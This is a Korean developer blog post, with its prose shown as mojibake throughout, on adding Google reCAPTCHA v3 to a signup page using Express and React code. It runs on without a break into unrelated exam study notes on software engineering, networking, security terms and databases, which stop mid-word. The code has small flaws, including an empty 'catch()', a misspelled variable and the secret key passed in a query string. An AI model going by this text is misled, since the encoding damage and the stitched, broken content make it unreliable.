์์ ์ธ ๋ชฉ์ ์ผ๋ก ๋ฐ๋ณต์ ์ผ๋ก ์์ฒญ์ ๋ณด๋ด๋ ๊ฒ์ ์ด๋ป๊ฒ ๋ง์๊น ๊ณ ๋ฏผํ๊ฒ ๋์๋ค. ์กฐ์ฌ๋ฅผ ํตํด Google์์ ์ ๊ณต๋๋ Recaptcha๋ฅผ ์ฌ์ฉํ๋ฉด ์์ฝ๊ฒ ๋ฐฉ์งํ ์ ์๋ค๋ ๊ฒ์ ์๊ฒ ๋์๋ค. ๊ณต๊ฒฉ์์ ์
์ฅ์์ ์๊ฐํ์ ๋, ์ง๊ธ ํ๋ก์ ํธ์์ ๊ฐ์ฅ ์ทจ์ฝํ ๋ถ๋ถ์ ํ์๊ฐ์
์ด๋ผ๊ณ ์๊ฐํ๋ค. ํ์๊ฐ์
์ ํ์์ด ์๋ ์๊ฐ, ์์ด๋์ ๋น๋ฐ๋ฒํธ ๊ท์น๋ง ๋ง์กฑํ๋ค๋ฉด ๋ฐ๋ณต์ ์ผ๋ก ์์ฒญ์ ๋ณด๋ผ ์ ์๊ณ , ์ด๋ DB์ ๋ฐ๋ก ์ ์ฅ๋๊ธฐ ๋๋ฌธ์ด๋ค. ๋ฐ๋ผ์ ํ์๊ฐ์
๋ถ๋ถ์ Recaptcha๋ฅผ ์ ์ฉํ๊ธฐ๋ก ๊ฒฐ์ ํ๋ค. Recaptcha๋? Recaptcha๋ ๊ตฌ๊ธ์์ ์ ๊ณตํ๋ ๋ฌด๋ฃ ๋ณด์ ์๋น์ค๋ก, ์ฌ์ฉ์๊ฐ ๋ก๋ด์ด ์๋์ ์ฆ๋ช
ํ๋ ๋ฐฉ๋ฒ ์ค ํ๋์ด๋ค.
์ง์ ์ข
๋ฃ๋ v1์ ์ ์ธํ๋ฉด v2, v3 ๋ ๊ฐ์ง ๋ฒ์ ์ด ์๋ค. v2๋ ์ฌ์ฉ์๊ฐ ‘๋๋ ๋ก๋ด์ด ์๋๋๋ค’๋ฅผ ํด๋ฆญํ๋ ๋ฐฉ์์ผ๋ก ์ธ์ฆ์ด ์๋ฃ๋๋ค. v3๋ ์ฌ์ฉ์์ ์ํธ์์ฉ ์์ด ์๋์ผ๋ก ์ธ์ฆ์ด ์๋ฃ๋๋ค. ํ์๋ ์ฌ์ฉ์์ ๊ฒฝํ๊ณผ ์ด๋ฅผ ํ
์คํธํ ๋์ ๊ณ ์์ ๋๊ธฐ ์ํด v3๋ฅผ ์ฌ์ฉํ๊ธฐ๋ก ํ๋ค. v3์ ์๋ ๋ฐฉ์ ์ฌ์ฉ์์ ๋ง์ฐ์ค ํด๋ฆญ, ํค๋ณด๋ ์
๋ ฅ, ์คํฌ๋กค, ์์ฒญ ํจํด ๋ฑ์ ๋ถ์ํ์ฌ ์ ์๋ฅผ ๋งค๊ธด๋ค. ์ ์๋ 0.0 ~ 1.0 ์ฌ์ด์ ๊ฐ์ผ๋ก, 0.0์ ๋ก๋ด, 1.0์ ์ฌ๋์ ์๋ฏธํ๋ค. ๊ฐ๋ฐ์๋ Recaptcha๊ฐ ํ๊ฐํ ์ ์๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์์ฒญ์ ๋ฐ์๋ค์ผ์ง ๋ง์ง ๊ฒฐ์ ํ ์ ์๋ค. ์์ ์๋๋ฆฌ์ค ์ฌ์ฉ์๊ฐ ํ์๊ฐ์
ํ์ด์ง์ ์ ์ํ๋ค. ๋ธ๋ผ์ฐ์ ๋จ์์ Recaptcha ํค๋ฅผ Recaptcha ํ ํฐ์ ๋ฐ์์จ๋ค. ์ฌ์ฉ์๊ฐ ํ์๊ฐ์
์์ฒญ์ ๋ณด๋ผ ๋, Recaptcha ํ ํฐ์ ํจ๊ป ์ ๋ฌํ๋ค. ์๋ฒ์์ Recaptcha ํ ํฐ์ ๊ฒ์ฆํ๊ณ , ์ ์๊ฐ 0.5๋ณด๋ค ๋ฎ์ผ๋ฉด ์์ฒญ์ ๊ฑฐ๋ถํ๋ค. ์ ์ฉ ์ฌ์ ์ค์ https://www.google.com/recaptcha/์ ์ ์ํ์ฌ ๋๋ฉ์ธ์ ๋ฑ๋กํ๊ณ ํค๋ฅผ ๋ฐ๋๋ค. ์์ธํ ๊ณผ์ ์ ๋ค๋ฅธ ๋ธ๋ก๊ทธ์๋ ์ ์ค๋ช
๋์ด ์์ด์ ์๋ตํ๋ค. Server (Express) user-service.ts 1// ์๋น์ค ๋ ์ด์ด์ ์ถ๊ฐํ Recaptcha ๊ฒ์ฆ ํจ์ 2static async verifyRecaptcha(token: string): Promise<void> { 3 // Recaptcha ๊ฒ์ฆ 4 const response = await fetch( 5 // ํค๋ Recaptcha ์ฌ์ดํธ์์ ๋ฐ์ ๊ฒ์ด๋ฉฐ, ํ๊ฒฝ ๋ณ์๋ก ๊ด๋ฆฌ 6 `https://www.google.com/recaptcha/api/siteverify?secret=${process.env.RECAPTCHA_SECRET_KEY}&response=${token}`, 7 { 8 method: "POST", 9 } 10 ); 11 // ๊ฒฐ๊ณผ๋ฅผ JSON์ผ๋ก ํ์ฑ 12 const verificationReuslt = await response.json(); 13 14 // ์ ์๊ฐ 0.5๋ณด๋ค ๋ฎ์ผ๋ฉด ์์ธ๋ฅผ ๋์ง 15 if (verificationReuslt.score <= 0.5) { 16 throw new RecaptchaScoreTooLowError(); 17 } 18 19 // ์ฑ๊ณต ์ฌ๋ถ๊ฐ false์ด๋ฉด ์์ธ๋ฅผ ๋์ง (ํ ํฐ์ด ์ ํจํ์ง ์์ ๊ฒฝ์ฐ) 20 if (!verificationReuslt.success) { 21 throw new RecaptchaTokenInvalidError(); 22 } 23} user-router.ts 1// ์ปจํธ๋กค๋ฌ ๋ถ๋ถ์์ ๋ถ๋ถ์์ Recaptcha ๊ฒ์ฆ ํจ์๋ฅผ ํธ์ถ, ๋ฐ์์ํจ ์์ธ๋ฅผ ์ฒ๋ฆฌ 2try { 3 await UserService.verifyRecaptcha(recaptchaToken); 4 await UserService.createUser(username, password); 5 res.status(201).send("User created successfully"); 6} catch (err: any) { 7 // Recaptcha ์ ์๊ฐ ๋ฎ์ ๊ฒฝ์ฐ -> 403 Forbidden 8 if (err instanceof RecaptchaScoreTooLowError) { 9 res.status(403).send(err.message); 10 // Recaptcha ํ ํฐ์ด ์ ํจํ์ง ์์ ๊ฒฝ์ฐ -> 400 Bad Request 11 } else if (err instanceof RecaptchaTokenInvalidError) { 12 res.status(400).send(err.message); 13 } else if (err instanceof UserAlreadyExistsError) { 14 res.status(409).send(err.message); 15 } else { 16 console.error(err); 17 res.status(500).send(err.message); 18 } 19} Client (React) App.tsx 1import { GoogleReCaptchaProvider } from "react-google-recaptcha-v3"; 2 3return ( 4 // ์ต์์ ์ปดํฌ๋ํธ์ GoogleReCaptchaProvider๋ฅผ ์ฌ์ฉํ์ฌ Recaptcha ํค๋ฅผ ์ ๋ฌ 5 <GoogleReCaptchaProvider 6 reCaptchaKey={process.env.REACT_APP_RECAPTCHA_SITE_KEY || ""} 7 > 8 <Router> 9 {/* ... */} 10 </Router> 11 </GoogleReCaptchaProvider> 12); SignupPage.tsx 1import { useGoogleReCaptcha } from "react-google-recaptcha-v3"; 2 3const SignupPage: React.FC = () => { 4 // useGoogleReCaptcha ํ
์ ์ฌ์ฉํ์ฌ Recaptcha ํ ํฐ์ ๋ฐ์์ด 5 const { executeRecaptcha } = useGoogleReCaptcha(); 6 7 const handleSignup = async () => { 8 // Recaptcha ํ ํฐ์ ๋ฐ์์ค๊ธฐ๋ ์ ์ ์ฌ์ฉ์๊ฐ ํ์๊ฐ์
์ ์๋ํ๋ ๊ฒฝ์ฐ 9 if (!executeRecaptcha) { 10 console.log("Execute recaptcha not yet available"); 11 return; 12 } 13 // Recaptcha ํ ํฐ์ ๋ฐ์์ด (signup์ action์ ๊ตฌ๋ถํ๊ธฐ ์ํ ๋ฌธ์์ด) 14 const recaptchaToken = await executeRecaptcha("signup"); 15 16 if (password !== confirmPassword) { 17 alert("๋น๋ฐ๋ฒํธ๊ฐ ์ผ์นํ์ง ์์ต๋๋ค."); 18 return; 19 } 20 21 try { 22 const response = await api.post<SignupResponse>("/users/signup", { 23 username, 24 password, 25 // ์๋ฒ๋ก Recaptcha ํ ํฐ์ ์ ๋ฌ 26 recaptchaToken, 27 }); 28 } catch() { 29 // ... 30 } 31 }; 32}; ๊ฒฐ๊ณผ ๊ด๋ฆฌ์ ์ฝ์์ ํตํด Recaptcha๋ฅผ ํตํด ๊ฒ์ฆ๋ ์์ฒญ์ ํ์ธํ ์ ์๋ค. ๋ณผ๋์ฒด์ ๊ฐ๋
์ ๊ธฐ์ถ ๋ฌธ์ ์์ ๋ฑ์ฅ, ๋๋จธ์ง ๊ฐ๋
์ ๋ชจ์๊ณ ์ฌ์์ ๋ฑ์ฅ SW ๊ณตํ ๊ด๋ จ ๊ฐ๋
SOLID ์์น S : ๋จ์ผ ์ฑ
์ ์์น (SRP) O : ๊ฐ๋ฐฉ ํ์ ์์น (OCP) : ํ์ฅ์๋ ์ด๋ ค ์์ด์ผ ํ๊ณ , ์์ ์๋ ๋ซํ ์์ด์ผ ํ๋ค๋ ์์น L : ๋ฆฌ์ค์ฝํ ์นํ ์์น (LSP) : ์๋ธํ์
์ ์ธ์ ๋ ์์ ์ ๊ธฐ๋ฐ ํ์
์ผ๋ก ๊ต์ฒดํ ์ ์์ด์ผ ํ๋ค๋ ์์น I : ์ธํฐํ์ด์ค ๋ถ๋ฆฌ ์์น (ISP) D : ์์กด ์ญ์ ์์น (DIP) : ์ถ์ํ์ ์์กดํด์ผ ํ๋ค๋ ์์น SOA(Service-Oriented Architecture) : ์๋น์ค ์งํฅ ์ํคํ
์ฒ Walk Through : ๊ฒํ ์๋ฃ๋ฅผ ํ์ ์ ์ ๋ฐฐํฌํด์ ์ฌ์ ๊ฒํ ํ ํ ์งง์ ์๊ฐ ๋์ ํ์๋ฅผ ์งํํ๋ ํํ๋ก ๋ฆฌ๋ทฐ๋ฅผ ํตํด ์ค๋ฅ๋ฅผ ๊ฒ์ถํ๊ณ ๋ฌธ์๋ก ๋ง๋๋ ๊ธฐ๋ฒ ์ ํ ๋ช
์ธ ๊ธฐ๋ฒ : ์ฌ์ฉ์์ ์๊ตฌ๋ฅผ ํํํ ๋ ์ํ์ ์๋ฆฌ์ ํ๊ธฐ๋ฒ์ผ๋ก ์์ ํ๋ ๊ธฐ๋ฒ ๋์์ธ ํจํด Abstract Factory Pattern : ์์ฑ ํจํด; ๊ฐ์ฒด ์์ฑ์ ๋ํ ์ธํฐํ์ด์ค๋ฅผ ์ ๊ณตํ๊ณ , ๊ตฌ์ฒด์ ์ธ ํด๋์ค๋ ์๋ธํด๋์ค์์ ์ ์ํ๋ ํจํด Decorator Pattern : ๊ตฌ์กฐ ํจํด; ๊ฐ์ฒด์ ์ถ๊ฐ์ ์ธ ์ฑ
์์ ๋์ ์ผ๋ก ๋ถ์ฌํ๋ ํจํด Memento Pattern : ํ์ ํจํด; ๊ฐ์ฒด์ ์ํ๋ฅผ ์ ์ฅํ๊ณ ๋ณต์ํ๋ ํจํด Factory Method Pattern : ์์ฑ ํจํด; ๊ฐ์ฒด ์์ฑ์ ๋ํ ์ธํฐํ์ด์ค๋ฅผ ์ ๊ณตํ๊ณ , ๊ตฌ์ฒด์ ์ธ ํด๋์ค๋ ์๋ธํด๋์ค์์ ์ ์ํ๋ ํจํด Bridge Pattern : ๊ตฌ์กฐ ํจํด; ์ถ์ํ์ ๊ตฌํ์ ๋ถ๋ฆฌํ์ฌ ๋
๋ฆฝ์ ์ผ๋ก ํ์ฅํ ์ ์๋๋ก ํ๋ ํจํด Observer Pattern : ํ์ ํจํด; ๊ฐ์ฒด์ ์ํ ๋ณํ์ ๋ฐ๋ผ ๋ค๋ฅธ ๊ฐ์ฒด์ ์๋ฆผ์ ๋ณด๋ด๋ ํจํด Proxy Pattern : ๊ตฌ์กฐ ํจํด; ๋ค๋ฅธ ๊ฐ์ฒด์ ๋ํ ์ ๊ทผ์ ์ ์ดํ๋ ๋๋ฆฌ ๊ฐ์ฒด๋ฅผ ์ ๊ณตํ๋ ํจํด Iterator Pattern : ํ์ ํจํด; ์ปฌ๋ ์
๊ฐ์ฒด์ ๋ด๋ถ ๊ตฌ์กฐ๋ฅผ ๋
ธ์ถํ์ง ์๊ณ ์์ฐจ์ ์ผ๋ก ์ ๊ทผํ ์ ์๋๋ก ํ๋ ํจํด ์ด์ ํ์ : ๋ฐ์ดํฐ๋ฅผ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅํ ๋ ๋ถํ์ํ๊ฒ ์ค๋ณต๋์ด ๋ฆด๋ ์ด์
์กฐ์์ ์๊ธฐ์น ๋ชปํ ๊ณค๋ํ ํ์์ผ ๋ฐ์ํ๋ ํ์ ๋ฒ๋ค์ด ์ฐจํธ : ๋จ์ ์์
๋์ ์๊ฐ์ ๋ฐ๋ผ ํ์ํ์ฌ ์งํ ์ํฉ์ ์๊ฐ์ ์ผ๋ก ๋ํ๋ด๋ ์ฐจํธ COCOMO : ๋ณดํด์ด ์ ์ํ ํ๋ก๊ทธ๋จ ๊ท๋ชจ์ ๋ฐ๋ผ ๋น์ฉ์ ์ฐ์ ํ๋ ๋ฐฉ์ (์กฐ์งํ, ๋ถ๋ฆฌํ, ์๋ฒ ๋๋ํ) CPM : ํ๋ก์ ํธ์ ์์
์ ๋คํธ์ํฌ ํํ๋ก ํํํ์ฌ ์ ์ฒด ํ๋ก์ ํธ์ ์ผ์ ์ ๊ณ์ฐํ๋ ์๊ณ ๋ฆฌ์ฆ PERT : ๋น๊ด์น, ์ค๊ด์น, ๋๊ด์น์ 3์ ์ถ์ ๋ฐฉ์์ ํตํด ์ผ์ ์ ๊ด๋ฆฌํ๋ ๊ธฐ๋ฒ ๊ฒฐํจ ์ง์ค : 20%์ ๋ชจ๋์์ 80%์ ๊ฒฐํจ์ด ๋ฐ์ํ๋ค๋ ์๋ฆฌ ์ด์ถฉ์ ํจ๋ฌ๋
์ค : ๋์ผํ ํ
์คํธ ์ผ์ด์ค๋ฅผ ๋ฐ๋ณต์ ์ผ๋ก ์คํํ๋ฉด ์๋ก์ด ๊ฒฐํจ์ ๋ฐ๊ฒฌํ์ง ๋ชปํ๋ค๋ ์๋ฆฌ ๋ฐฐ์น ๋ค์ด์ด๊ทธ๋จ : ์์คํ
์ ๋ฌผ๋ฆฌ์ ์ธ ๊ตฌ์กฐ๋ฅผ ๋ณด์ฌ์ฃผ๋ ๋ค์ด์ด๊ทธ๋จ, ์ด๋ค SW๊ฐ ์ด๋ค HW์ ๋ฐฐ์น๋๋์ง๋ฅผ ๋ํ๋ ํจํค์ง ๋ค์ด์ด๊ทธ๋จ : ์์คํ
์ ํจํค์ง ๊ตฌ์กฐ๋ฅผ ๋ํ๋ด๋ ๋ค์ด์ด๊ทธ๋จ ๋ธ๋ฃฉ์ค์ ๋ฒ์น : “๋ฆ์ด์ง ํ๋ก์ ํธ์ ์ธ๋ ฅ์ ์ถ๊ฐํ๋ฉด ์คํ๋ ค ๋ ๋ฆ์ด์ง๋ค"๋ ๋ฒ์น ํ์ดํธ๋ฐ์ค ํ
์คํธ ๊ฒ์ฆ ๊ธฐ์ค ๋ฌธ์ฅ(Statement) ์ปค๋ฒ๋ฆฌ์ง : ํ๋ก๊ทธ๋จ์ ๋ชจ๋ ๋ฌธ์ฅ์ด ์ต์ํ ํ ๋ฒ์ ์คํ๋๋๋ก ํ๋ ๊ธฐ์ค ๋ถ๊ธฐ(Branch) ์ปค๋ฒ๋ฆฌ์ง : ๊ฐ ๊ฒฐ์ ๋ฌธ์ด ์ฐธ, ๊ฑฐ์ง์ ํ ์ด์ ๊ฐ๋๋ก ์กฐํฉํ๋ ์ปค๋ฒ๋ฆฌ์ง ์กฐ๊ฑด(Condition) ์ปค๋ฒ๋ฆฌ์ง : ๊ฒฐ์ ๋ฌธ ๋ด์ ๊ฐ ์กฐ๊ฑด์ด ์ฐธ, ๊ฑฐ์ง์ ํ ์ด์ ๊ฐ๋๋ก ์กฐํฉํ๋ ์ปค๋ฒ๋ฆฌ์ง ๊ฒฐ์ (Decision) ์ปค๋ฒ๋ฆฌ์ง : ๊ฐ ์ ์ฒด ์กฐ๊ฑด์์ ์ฐธ, ๊ฑฐ์ง์ ํ ์ด์ ๊ฐ๋๋ก ์กฐํฉํ๋ ์ปค๋ฒ๋ฆฌ์ง ์์ธ ๊ฒฐ๊ณผ ๊ทธ๋ํ : ํ๋ก๊ทธ๋จ์ ์
๋ ฅ๊ณผ ์ถ๋ ฅ ๊ฐ์ ๊ด๊ณ๋ฅผ ๊ทธ๋ํ๋ก ๋ํ๋ด์ด ํ
์คํธ ์ผ์ด์ค๋ฅผ ๋์ถํ๋ ๊ธฐ๋ฒ ์ํ/๋ฒ ํ ํ
์คํธ : ์ํ-๊ฐ๋ฐ์์ ํจ๊ป ์ํ, ๋ฒ ํ-๊ฐ๋ฐ์ ์์ด ์ํ ๋คํธ์ํฌ ๊ด๋ จ ๊ฐ๋
Hub & Spoke : EAI ๊ตฌ์ถ ์ ํ; ๋จ์ผํ ์ ์ ์ ํ๋ธ ์์คํ
์ ํตํ์ฌ ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๋ ์ค์ ์ง์ค์ ๋ฐฉ์ MQTT : IoT ์ฅ์น ๊ฐ ํต์ ์ ์ฌ์ฉ๋๋ ๊ฒฝ๋ ๋ฉ์์ง ํ๋กํ ์ฝ CoAP : M2M ๋
ธ๋๋ค ์ฌ์ด์์ ์ด๋ฒคํธ์ ๋ํ ์ก์์ ์ ๋น๋๊ธฐ์ ์ผ๋ก ์ ์กํ๋ REST ๊ธฐ๋ฐ์ ํ๋กํ ์ฝ ๊ฑฐ๋ฆฌ ๋ฒกํฐ ์๊ณ ๋ฆฌ์ฆ : ๋คํธ์ํฌ ๋ผ์ฐํ
ํ๋กํ ์ฝ์ ํ ์ข
๋ฅ; ๊ฐ ๋
ธ๋๊ฐ ์์ ์ ๊ฑฐ๋ฆฌ์ ์ด์ ๋
ธ๋์ ๊ฑฐ๋ฆฌ ์ ๋ณด๋ฅผ ๊ตํํ์ฌ ์ต์ ๊ฒฝ๋ก๋ฅผ ์ฐพ๋ ์๊ณ ๋ฆฌ์ฆ ๋งํฌ ์ํ ์๊ณ ๋ฆฌ์ฆ : ๋คํธ์ํฌ ๋ผ์ฐํ
ํ๋กํ ์ฝ์ ํ ์ข
๋ฅ; ๊ฐ ๋
ธ๋๊ฐ ์ ์ฒด ๋คํธ์ํฌ์ ์ํ ์ ๋ณด๋ฅผ ์์งํ์ฌ ์ต์ ๊ฒฝ๋ก๋ฅผ ์ฐพ๋ ์๊ณ ๋ฆฌ์ฆ ํ์ ์ ์ด : ๋ ๊ฐ์ ์คํ
์ด์
์ด ๋์์ ์ ํธ๋ฅผ ์ ์กํ๋ ๊ฒฝ์ฐ ์ถฉ๋์ด ๋ฐ์ํ์ง ์๋๋ก ์ ์ดํ๋ ๊ธฐ์ Slowris : ๋ค๋์ HTTP ์ฐ๊ฒฐ์ ๋์์ ์ด๊ณ ์ ์งํ๋ DoS RUDY : ๋๋ฆฐ ์๋๋ก ์์ ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ์ฌ ์ฐ๊ฒฐ ์ํ๋ฅผ ์ ์งํ๋ ๊ฒ์ ๋ชฉํ๋ก ํ๋ DoS Slow Http read Dos : HTTP ์์ฒญ ํจํท์ ํค๋๋ฅผ ๋ณ์กฐํ์ฌ ์น ์๋ฒ์ ๋ณด๋ด ์ฐ๊ฒฐ ์ํ๋ฅผ ์ ์งํ๊ฒ ํ๋ DoS SNMP(Simplified Network Management Protocol) : ๋คํธ์ํฌ ์ฅ๋น์ ์ํ๋ฅผ ๋ชจ๋ํฐ๋งํ๊ณ ๊ด๋ฆฌํ๊ธฐ ์ํ ํ๋กํ ์ฝ DHCP(Dynamic Host Configuration Protocol) : ๋คํธ์ํฌ ์ฅ์น์ IP ์ฃผ์๋ฅผ ์๋์ผ๋ก ํ ๋นํ๋ ํ๋กํ ์ฝ RARP (Reverse Address Resolution Protocol) : MAC ์ฃผ์ -> IP ์ฃผ์ ๋ณํ ํ๋กํ ์ฝ Ad-hoc ๋คํธ์ํฌ : ์ค์ ๋ผ์ฐํฐ๋ ์ก์ธ์ค ์ง์ ์์ด ์๋ก ์ง์ ํต์ ํ ์ ์๋๋ก ํ๋ ์์ ๋ถ์ฐ ๋ฌด์ ๋คํธ์ํฌ ํจํท ๊ตํ ๋ฐฉ์ ๊ฐ์ํ์ ๋ฐฉ์ : ๋ชฉ์ ์ง ํธ์คํธ์ ๋ฏธ๋ฆฌ ์ฐ๊ฒฐ ํ ํต์ ํ๋ ์ฐ๊ฒฐํ ๊ตํ ๋ฐฉ์ ๋ฐ์ดํฐ๊ทธ๋จ ๋ฐฉ์ : ํค๋๋ฅผ ๋ถ์ฌ์ ๊ฐ๋ณ์ ์ผ๋ก ์ ๋ฌํ๋ ๋น์ฐ๊ฒฐํ ๊ตํ ๋ฐฉ์ L2TP (Layer 2 Tunneling Protocol) : VPN ํ๋กํ ์ฝ์ ์ผ์ข
์ผ๋ก, PPP ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ๋ฐ์ดํฐ๋ฅผ ์บก์ํํ๊ณ ์ ์กํ๋ ๋ฐฉ์ ์ค๋ฅ ์ ์ด ๋ฐฉ์ FEC (Forward Error Correction) : ์ค๋ฅ ๊ฒ์ถ, ์ค์ค๋ก ์์ ํ๋ ๋ฐฉ์ Hamming Code BEC (Backward Error Correction) : ์ค๋ฅ ๊ฒ์ถ, ์ฌ์ ์ก ์์ฒญํ๋ ๋ฐฉ์ Parity ๊ฒ์ฌ CRC (Cyclic Redundancy Check) : ๋ฐ์ดํฐ ๋ธ๋ก์ ๋ํ ๋คํญ์ ๋๋์
์ ์ฌ์ฉํ์ฌ ์์ฑ๋ ์ฒดํฌ์ฌ์ ์ด์ฉ ๋ณด์ ๊ด๋ จ ๊ฐ๋
kill switch : ์ค๋งํธํฐ ์ด์ฉ์๊ฐ ๋๋๋นํ ์ค๋งํธํฐ์ ์๋์, ์น์ฌ์ดํธ๋ฅผ ํตํด ์ ์งํ ์ ์๋๋ก ํ๋ ์ผ์ข
์ ์ํญ ๊ธฐ๋ฅ ์ ๋ก ๋ฐ์ด ๊ณต๊ฒฉ : ๋ณด์ ์ทจ์ฝ์ ์ด ์๋ ค์ง๊ธฐ ์ ์ ํด๋น ์ทจ์ฝ์ ์ ์
์ฉํ์ฌ ์ด๋ฃจ์ด์ง๋ ๊ณต๊ฒฉ ARP Spoofing : ARP ํ๋กํ ์ฝ์ ์ด์ฉํ์ฌ ๋คํธ์ํฌ ์์ ๋ค๋ฅธ ํธ์คํธ์ MAC ์ฃผ์๋ฅผ ์์กฐํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ ๋์งํธ ํฌ๋ ์ : ๋์งํธ ๊ธฐ๊ธฐ์์ ๋ฐ์ํ ๋ฒ์ฃ๋ ์ฌ๊ณ ์ ์ฆ๊ฑฐ๋ฅผ ์์ง, ๋ถ์, ๋ณด์กดํ๋ ๊ณผ์ ๋ฃจํธํท : ์์คํ
์ ๋ชฐ๋ ์ค์น๋์ด ์ฌ์ฉ์์ ๊ถํ์ ํ์ทจํ๊ฑฐ๋ ์์คํ
์ ์ ์ดํ๋ ์
์ฑ ์ํํธ์จ์ด ์คํผ์ด ํผ์ฑ : ํน์ ๊ฐ์ธ์ด๋ ์กฐ์ง์ ๋์์ผ๋ก ํ๋ ๋ง์ถคํ ํผ์ฑ ๊ณต๊ฒฉ APT ๊ณต๊ฒฉ : ํน์ ํ๊น์ ๋ชฉํ๋ก ๋ค์ํ ์๋จ์ ํตํ ์ง์์ ์ด๊ณ ์ง๋ฅ์ ์ธ ๋ง์ถคํ ๊ณต๊ฒฉ ๊ธฐ๋ฒ SET(Secure Electronic Transaction) : ์ ์ ์๊ฑฐ๋์์ ์์ ํ ๊ฒฐ์ ๋ฅผ ์ํ ํ๋กํ ์ฝ ์ฌ์ด๋ฒ ํฌ์ฒด์ธ : ๋กํ๋ ๋งํด์ ๊ณต๊ฒฉํ ๋ฐฉ์ ์์คํ
DAC (Discretionary Access Control) : ์ฌ์ฉ์๊ฐ ์์ ๋กญ๊ฒ ๊ฐ์ฒด์ ๋ํ ์ ๊ทผ ๊ถํ์ ๊ด๋ฆฌํ ์ ์๋ ๋ฐฉ์ MAC (Mandatory Access Control) : ์์คํ
๊ด๋ฆฌ์๊ฐ ์ ์ฑ
์ ๋ฐ๋ผ ์ฌ์ฉ์์๊ฒ ์ ๊ทผ ๊ถํ์ ๋ถ์ฌํ๋ ๋ฐฉ์ 3A (AAA) : ์ ๋ณด ๋ณด์์ ํต์ฌ์์ Authentication Authorization Accounting ISMS (Information Security Management System) : ์ ๋ณด ๋ณดํธ๋ฅผ ์ํ ๊ด๋ฆฌ ์ฒด๊ณ ์ฌํ๊ณตํ ๊ธฐ๋ฒ : ์ธ๊ฐ์ ์ฌ๋ฆฌ์ ํ๋์์์ ์ด์ฉํ์ฌ ์ ๋ณด๋ฅผ ํ์ทจํ๊ฑฐ๋ ์์คํ
์ ์นจ์
ํ๋ ๊ธฐ๋ฒ SIEM : ๋ณด์ ์ ๋ณด ๋ฐ ์ด๋ฒคํธ ๊ด๋ฆฌ ์์คํ
; ๋ณด์ ๋ก๊ทธ์ ์ด๋ฒคํธ๋ฅผ ์์ง, ๋ถ์ํ์ฌ ์ค์๊ฐ์ผ๋ก ๋ณด์ ์ํ์ ํ์งํ๊ณ ๋์ํ๋ ์์คํ
์ VS ๋ฐ์ด๋ฌ์ค ์ : ์ค์ค๋ก ๋ณต์ ํ์ฌ ๋คํธ์ํฌ๋ฅผ ํตํด ์ ํ๋๋ ์
์ฑ ์ฝ๋; ํธ์คํธ ํ์ผ์ ๊ฐ์ผ์ํค์ง ์์ ๋ฐ์ด๋ฌ์ค : ํธ์คํธ ํ์ผ์ ์ฝ์
๋์ด ์คํ๋ ๋๋ง ํ์ฑํ๋๋ ์
์ฑ ์ฝ๋; ํธ์คํธ ํ์ผ์ ๊ฐ์ผ์ํด ๋์นญํค, ๋น๋์นญํค(๊ณต๊ฐํค) ๋์นญํค : AES, DES, ARIA SEED ๋น๋์นญํค : RSA, ECC ATM(Asynchronous Transfer Mode) : ๊ณ ์ ๋ฐ์ดํฐ ์ ์ก์ ์ํ ์
๊ธฐ๋ฐ์ ํจํท ๊ตํ ๋ฐฉ์; 53๋ฐ์ดํธ์ ๊ณ ์ ๊ธธ์ด ์
์ ์ฌ์ฉ ์ค๋จธํ(Smurfing) : ICMP ํจํท์ ์ด์ฉํ์ฌ ๋๋์ ํธ๋ํฝ์ ๋ฐ์์ํค๋ DoS ๊ณต๊ฒฉ ๊ธฐ๋ฒ; ๊ณต๊ฒฉ์๊ฐ ๋ธ๋ก๋์บ์คํธ ์ฃผ์๋ก ICMP Echo ์์ฒญ์ ๋ณด๋ด๊ณ , ์๋ต์ ํ๊ฒ์๊ฒ ์ ์กํ๊ฒ ํจ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ด๋ จ ๊ฐ๋
๋๊ด์ ๊ฒ์ฆ : ํธ๋์ญ์
์ ์ผ๋จ ์ํํ๊ณ , ํธ๋์ญ์
์ข
๋ฃ ์ ๊ฒ์ฆ์ ์ํํ์ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ฐ์ํ๋ ๊ธฐ๋ฒ 2PC (Two-Phase Commit) : ๋ถ์ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์์คํ
์์ ํธ๋์ญ์
์ ์์์ฑ์ ๋ณด์ฅํ๊ธฐ ์ํด ๋ ๋จ๊ณ๋ก ์ปค๋ฐ์ ์ํํ๋ ๋ฐฉ์ ์์ ํจ์ ์ข
์(Full) : ๋ฆด๋ ์ด์
์ ๋ชจ๋ ์์ฑ์ด ๊ธฐ๋ณธํค์๋ง ์ข
์๋๋ ์ํ ๋ถ๋ถ ํจ์ ์ข
์(Partial) : ๋ฆด๋ ์ด์
์ ์ผ๋ถ ์์ฑ์ด ๊ธฐ๋ณธํค์๋ง ์ข
์๋๋ ์ํ ์ดํ ํจ์ ์ข
์(Transient) : A->B, B->C ์ด๋ฉด A->C๊ฐ ์ฑ๋ฆฝํ๋ ์ํ ์ฒดํฌํฌ์ธํธ ํ๋ณต ๊ธฐ๋ฒ : ์ฅ์ ๋ฐ์ ์ ๊ฒ์ฌ์ ์ดํ์ ์ฒ๋ฆฌ๋ ํธ๋์ญ์
์ ๋ํด์๋ง ์ฅ์ ๋ฅผ ๋ณต๊ตฌํ๋ ๊ธฐ๋ฒ ๋กํน : ๋ค์ค ํธ๋์ญ์
ํ๊ฒฝ์์ ํธ๋ ์ญ์
